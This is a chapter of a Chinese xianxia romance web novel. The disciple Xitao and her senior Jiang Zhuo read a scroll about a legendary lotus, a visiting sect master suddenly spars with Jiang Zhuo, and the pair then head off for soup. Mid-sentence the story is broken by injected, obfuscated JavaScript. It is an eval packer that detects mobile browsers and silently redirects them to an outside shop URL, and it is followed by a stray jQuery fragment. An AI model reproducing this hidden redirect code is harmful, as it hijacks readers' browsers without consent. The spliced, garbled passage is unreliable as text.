溪陶自然听见了自己如雷的心跳,赶忙垂了眼。
她下意识想要解释什么,江酌却先她一步松开了手,低着头,唇角含笑的看着她。
江酌坦坦荡荡的将那本书递到溪陶面前,却在溪陶即将上手抢回书本时,又往后撤了撤。
“《霸道师兄爱上我》?你喜欢这种话本?”江酌挑眉。
“没有!我不喜欢!”溪陶像是条件反射般,立马抬头反驳道。
江酌却好像明白了什么似的,若有所思的开口:“哦,那你喜欢霸道的。”
他定定地看着这本封面好一会,才缓缓放下手,似笑非笑地将那本书还给她。
溪陶的脸早就红偷了,她飞快地抓过这本书,和被烫到似的弹到一边。
当然啦,这书可不能浪费。
溪陶一边想着,一边把这精心挑选的话本塞到怀中。
哪知,身后却再次传来江酌的声音。
“愣着干什么,走吧。”
溪陶回过头时,江酌正站在门口等她。
她立马乖巧的跟在江酌身后,耳根还烫得厉害。走出禁书区月洞门时,江酌忽然停下脚步,她差点又一头撞上他的后背。
“溪陶。”
“啊?”
“你莫不是把正事忘了。”
江酌将翻找出来的帛书递到她面前,摊开。
溪陶只得凑过去,和他并肩凑在一块,低头看着。
那帛书上头记载着关于往生莲的情况。
“往生莲,不灭金莲并蒂双生之一,花开九瓣,瓣含灵光,生于天地灵脉交汇之处。能活死人、肉白骨,有定乾坤、固地脉之能。其灵力柔和而绵长,贯通生死两界,可续断命,可镇灵基。”
溪陶的指尖划过帛书上面的小字,一字一句的念着。
帛书后半段还补了一行小字:“然此物灵性极高,若强行催动,轻则灵力反噬,重则神魂俱损。”
溪陶念道此处,还往后头翻了翻,发现并无其他了。
她还有些疑惑的挠了挠头:“这同长老和扶光师姐说的,似乎并无出入。”
溪陶念完那几行字,抬头时正对上江酌沉沉的目光。他眉心微蹙着,像是在想什么极深远的事情。
“大师兄?你想什么呢?”溪陶伸手在他眼前晃了晃
江酌回了神,随口道:“没什么,在想这帛书上写的灵力反噬四字。往生莲既是镇阵之物,按理说不该有人轻易动它才是。”
溪陶歪了歪脑袋,觉得他说得有道理,却又说不出哪里不对。
她把帛书卷好放回原处,拍了拍手上的灰:“那咱们先回去?反正该查的也查了。”
江酌点了点头,两人一前一后下了楼。
溪陶怀里揣着那本从禁书区顺出来的话本,一路上都小心谨慎着,生怕江酌再拿这事打趣她。
好在这一路江酌没怎么留意她的小动作。
败月轩的景致向来很好,日光也好。金色的余晖从山脊那头漫过来,将青石台阶染成暖色。
路旁偶有松柏,被风吹得沙沙作响,空气里弥漫着松脂和泥土的气息。
溪陶走在前头,一路上同江酌有说有笑的闲聊着,心情看起来不错。江酌跟在后头,目光落在她发间那支柳叶簪上。
他没想到,他为了听取他人情报随手买的簪子,她竟一直戴着。
正走着,前方山道转弯处迎面走来一个熟悉的身影。
墨绿锦袍,身量高大,正是残星阁的无疆阁主。
他步子不紧不慢,显然是往后山方向去的。
“无疆阁主!”溪陶率先瞧见了,脆生生地打了个招呼。
无疆抬眼看见两人,面上浮起笑来:“哟,溪陶丫头,还有江酌,你们俩怎么在这儿?”
江酌按规矩行礼,礼貌说道:“晚辈刚从藏书阁下来。阁主这是,去找我师父?”
无疆面上微愣,随即点了点头:“正是。我左右无事,便过去看看琼华老友。”
他说着打量了两人几眼,目光在江酌身上多停了一瞬,笑意里多了几分深意,“你们师兄妹几个在九霄青云会上的表现,我可是听说了。百花十二楼虽然近些年没落了,那几个花神可不是轻易能对付的。”
溪陶连忙摆手:“都是大师兄厉害,我就是使了几个防御阵法。”
无疆却笑着摇了摇头:“你这小姑娘也谦虚,我可是听说你天赋异禀。还有江酌,你怕不是收着劲儿打的吧?真要放开了打,估计能争个第一第二回来。你们败月轩这回是藏拙了啊。”
江酌面上也开始古怪了起来,他微微弯了弯唇角:“阁主说笑了。九霄青云会重在切磋,名次不过是锦上添花的东西。”
无疆听了这话哈哈一笑,拍了拍江酌的肩膀:“不错,年纪轻轻有这份心境,倒是难得。往后若得闲,不妨来残星阁坐坐。我们那儿的山虽比不上败月轩的好,但胜在水还不错。”
江酌颔首应下:“多谢阁主抬爱,若有机会定当前往拜访。”
溪陶也正准备拱手行礼,可低头那一瞬,身边忽然传来一阵破风声。
她被惊的下意识抬头,只见一道墨绿色的仙力破空而来,气势凌厉,直直朝江酌肩膀袭去。
“大师兄小心!”溪陶惊呼出声,手中的板砖几乎在同一瞬间脱手而出。
可她还没来得及结阵,江酌已经动了。
他侧了侧身,那仙力便擦着他的衣角掠过,劈在道旁的青石上,竟将那半人高的石头生生削去一角。
这无疆阁主,竟然半分力也没收着。
若是真劈在人身上,怕是不死也要伤几分。
溪陶一时间没看懂这个局面,倒吸了口凉气。
山道上,无疆阁主负手而立,隔了约莫十丈的距离望着他。
他周身灵力还未完全收敛,衣摆被风掀起又落下,脸上的笑意却比方才深了几分:“不错,反应够快。”
江酌拍了拍衣袖上沾的灰,语气平淡:“阁主这是何意?”
无疆没急着答话,手腕一翻,又是一道灵力凝聚成掌形的气劲,朝江酌面门袭来。
这一次比方才更快更猛,可江酌却不知何时抬手丢了个结界,将溪陶护在一旁。
江酌这回没有避让,只是抬手,他的剑便不知从何处飞来,那凌厉的气劲便如泥牛入
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17866868|212214||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
海般消散在他的剑端。
溪陶站在几步开外,看得目瞪口呆。她手里的板砖攥得紧紧的,搁得手心生疼。
她看了看无疆又看了看江酌,终于反应过来——
这阁主怕不是在同大师兄过招?可方才不是还好好的在说要去仙乐阁找琼华长老吗?
她还没想明白,场中两人已经接连过了十几招。
无疆攻势凌厉,招招直取要害,掌风灵力搅得方圆数丈内落叶飞旋。
反观江酌却始终从容,身形在纷乱的灵力间隙中游走,衣摆翻飞如鹤,偶尔抬手一剑便将对方的攻势化去。
在江酌的剑即将无情袭来时,无疆忽然收手后退半步。
他面上的笑意愈深,眼底却多了几分晦暗不明:“看来,琼华那老东西收了个好徒弟。”
江酌这才把一直背在身后的左手放下来,拱手道:“阁主试探晚辈,晚辈献丑了。”
无疆摆了摆手,目光在他身上又打量了一圈,含笑道:“你倒是真藏拙,方才我出了八成力,你连五成都没用上。琼华那个老东西教不出这样的本事,你这身修为,怕是在拜入败月轩之前就有了。”
他顿了顿,在转身离开前的最后一秒,问出了心底的疑惑:“江酌,你到底是什么来历?”
溪陶的手扒拉在结界上,却依旧竖起耳朵听着,眼巴巴地望着江酌。
可江酌只是笑了笑,避开了这个话题,看着残星阁阁主扭头离去的背影,淡然说道:“阁主过奖了。晚辈不过是在藏书阁多看了几本书罢了。”
风会把着话传到无疆阁主耳中。
结界不知何时脱落,溪陶长舒了口气,三步并作两步跑到江酌身边,上上下下地打量他:“大师兄你没事吧?方才那阁主怎么突然就动手了?吓死我了!”
江酌低头看着她因为焦急而皱成一团的小脸,觉得有些好笑:“他不是动手,是在试探我。”
“试你什么?”
“试我到底有几斤几两呗。”江酌抬步往前走。
溪陶跟在他身侧,还是有些不放心:“那你没受伤吧?”
江酌偏头看了她一眼,唇角微微一弯:“你觉得呢?”
溪陶想了想方才他游刃有余的模样,摇了摇头:“我们大师兄这么厉害,当然不会受伤啦!”
江酌没接话,只是伸手在她发顶轻轻拍了一下:“走吧,猜猜我们待会要去哪?”
这话一出,刚才的插曲立马被溪陶抛诸脑后。
她眉眼弯弯,好奇的问道:“大师兄这是要带我去哪?今日怎对我这般好?”
“怕你被方才那阵仗吓着,给你压压惊。带你去无忧长老那,先前他说给你用灵草灵药炖几盅汤,可不能白浪费他的心意。”
听见这话,溪陶立马不满意了。她撇撇嘴,本以为大师兄这是良心发现又要带她下山,或是给她带些外头的吃食,没想到居然只是去无忧长老那边蹭饭吃。
溪陶合理怀疑,大师兄定是自己贪那口汤,才打着她的旗号这般做。
溪陶故作高深的摇了摇头,叹了口气。算了,有这般实力和姿色的大师兄在自己身边,便也是顶好的事了。